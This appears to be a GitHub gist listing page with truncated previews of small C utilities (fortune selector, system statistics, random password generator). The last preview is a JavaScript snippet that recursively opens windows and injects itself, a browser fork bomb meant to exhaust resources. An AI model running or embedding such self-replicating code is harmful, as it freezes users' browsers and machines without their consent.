This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Emacs style mode select: -*- linux-c -*- | |
* This program is free software; you can redistribute it and/or modify | |
* it under the terms of the GNU General Public License as published by | |
* the Free Software Foundation; either version 2 of the License, or | |
* (at your option) any later version. | |
* | |
* This program is distributed in the hope that it will be useful, | |
* but WITHOUT ANY WARRANTY; without even the implied warranty of | |
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
* GNU General Public License for more details. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <time.h> | |
#include <unistd.h> | |
#include <string.h> | |
const char* x[] = { | |
"limerick", "fortunes2", "linuxcookie", | |
"freebsd-tips", "osfortune", "startrek", | |
"zippy", "debian-hints" | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
struct utsname uname_pointer; | |
/* Conversion constants. */ | |
const long minute = 60; | |
const long hour = minute * 60; | |
const long day = hour * 24; | |
const double megabyte = 1024 * 1024; | |
/* Obtain system statistics. */ | |
struct sysinfo si; | |
sysinfo (&si); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <time.h> | |
int main (void) { | |
srand((unsigned int)(time(NULL))); | |
int index = 0; | |
char char1[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/,.-+=~`<>:"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Make sure to allow pop ups, or your browser will stop the window.open() (thankfully) | |
function fork() { | |
const win = window.open(); | |
const script = win.document.createElement("script"); | |
script.innerHTML = fork + "\n" + "fork();"; | |
win.document.head.appendChild(script); | |
setTimeout(function() { | |
win.close(); | |
fork(); |